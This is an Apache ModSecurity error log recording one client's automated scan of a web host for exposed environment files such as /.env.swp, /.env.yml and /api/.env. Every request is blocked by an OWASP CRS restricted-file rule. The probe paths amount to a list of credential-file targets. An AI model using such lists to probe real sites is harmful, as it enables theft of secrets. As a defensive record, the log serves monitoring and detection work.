[Sat Oct 24 06:02:30.445498 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atyCNjOT1ZsOoHahaDY-YAAAAAY"]
[Sat Oct 24 06:02:30.445740 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atyCNjOT1ZsOoHahaDY-YAAAAAY"]
[Sat Oct 24 06:02:30.446254 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atyCNjOT1ZsOoHahaDY-YAAAAAY"]
[Sat Oct 24 06:02:30.544845 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atyCNjOT1ZsOoHahaDY-YQAAAAY"]
[Sat Oct 24 06:02:30.545084 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atyCNjOT1ZsOoHahaDY-YQAAAAY"]
[Sat Oct 24 06:02:30.545455 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atyCNjOT1ZsOoHahaDY-YQAAAAY"]
[Sat Oct 24 06:02:30.637824 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "atyCNjOT1ZsOoHahaDY-YgAAAAY"]
[Sat Oct 24 06:02:30.638075 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "atyCNjOT1ZsOoHahaDY-YgAAAAY"]
[Sat Oct 24 06:02:30.638497 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "atyCNjOT1ZsOoHahaDY-YgAAAAY"]
[Sat Oct 24 06:02:30.723887 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "atyCNjOT1ZsOoHahaDY-YwAAAAY"]
[Sat Oct 24 06:02:30.724260 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "atyCNjOT1ZsOoHahaDY-YwAAAAY"]
[Sat Oct 24 06:02:30.724712 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "atyCNjOT1ZsOoHahaDY-YwAAAAY"]
[Sat Oct 24 06:02:30.813645 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "atyCNjOT1ZsOoHahaDY-ZAAAAAY"]
[Sat Oct 24 06:02:30.813893 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "atyCNjOT1ZsOoHahaDY-ZAAAAAY"]
[Sat Oct 24 06:02:30.814233 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "atyCNjOT1ZsOoHahaDY-ZAAAAAY"]
[Sat Oct 24 06:02:30.907937 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "atyCNjOT1ZsOoHahaDY-ZQAAAAY"]
[Sat Oct 24 06:02:30.908226 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "atyCNjOT1ZsOoHahaDY-ZQAAAAY"]
[Sat Oct 24 06:02:30.908576 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "atyCNjOT1ZsOoHahaDY-ZQAAAAY"]
[Sat Oct 24 06:02:30.993706 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "atyCNjOT1ZsOoHahaDY-ZgAAAAY"]
[Sat Oct 24 06:02:30.993956 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "atyCNjOT1ZsOoHahaDY-ZgAAAAY"]
[Sat Oct 24 06:02:30.994358 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "atyCNjOT1ZsOoHahaDY-ZgAAAAY"]
[Sat Oct 24 06:02:31.082043 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "atyCNzOT1ZsOoHahaDY-ZwAAAAY"]
[Sat Oct 24 06:02:31.082323 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "atyCNzOT1ZsOoHahaDY-ZwAAAAY"]
[Sat Oct 24 06:02:31.082673 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "atyCNzOT1ZsOoHahaDY-ZwAAAAY"]
[Sat Oct 24 06:02:31.185304 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "atyCNzOT1ZsOoHahaDY-aAAAAAY"]
[Sat Oct 24 06:02:31.185530 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "atyCNzOT1ZsOoHahaDY-aAAAAAY"]
[Sat Oct 24 06:02:31.185908 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "atyCNzOT1ZsOoHahaDY-aAAAAAY"]
[Sat Oct 24 06:02:31.276914 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-aQAAAAY"]
[Sat Oct 24 06:02:31.277243 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-aQAAAAY"]
[Sat Oct 24 06:02:31.277640 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-aQAAAAY"]
[Sat Oct 24 06:02:31.366495 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-agAAAAY"]
[Sat Oct 24 06:02:31.366970 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-agAAAAY"]
[Sat Oct 24 06:02:31.367550 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-agAAAAY"]
[Sat Oct 24 06:02:31.461914 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-awAAAAY"]
[Sat Oct 24 06:02:31.462322 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-awAAAAY"]
[Sat Oct 24 06:02:31.462835 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-awAAAAY"]
[Sat Oct 24 06:02:31.550681 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bAAAAAY"]
[Sat Oct 24 06:02:31.551005 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bAAAAAY"]
[Sat Oct 24 06:02:31.551374 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bAAAAAY"]
